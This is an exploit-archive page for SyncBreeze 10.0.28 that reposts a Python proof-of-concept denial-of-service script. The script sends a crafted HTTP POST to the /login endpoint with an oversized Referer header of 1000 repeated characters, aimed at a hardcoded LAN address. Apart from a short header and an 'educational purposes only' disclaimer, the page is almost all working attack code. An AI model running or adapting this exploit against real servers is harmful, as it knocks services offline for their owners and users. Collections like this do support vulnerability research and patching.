Syncbreeze 10.0.28 login denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-18 | Type : webapps | Platform : windows
This exploit / vulnerability Syncbreeze 10.0.28 login denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: SyncBreeze 10.0.28 - 'login' Denial of Service (Poc)
# Data: 18-Dec-2020
# Exploit Author: Ahmed Elkhressy
# Vendor Homepage: http://www.syncbreeze.com
# Software Link: http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe
# Version: 10.0.28
# Tested on: Windows 7, Windows 10

#!/usr/bin/python
import socket

host="192.168.1.9"
payload = 'A' *1000
request = ""
request += "POST /login HTTP/1.1\r\n"
request += "Host: "+host+"\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
request += "Accept-Language: en-US,en;q=0.5\r\n"
request += "Accept-Encoding: gzip, deflate\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "Content-Length: 27\r\n"
request += "Origin: http://"+host+"\r\n"
request += "Connection: keep-alive\r\n"
request += "Referer: http://"+host+"/login"+payload+"\r\n"
request += "Upgrade-Insecure-Requests: 1\r\n"
request += "\r\n"
request += "username=test&password=test"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(request)
print s.recv(1024)
s.close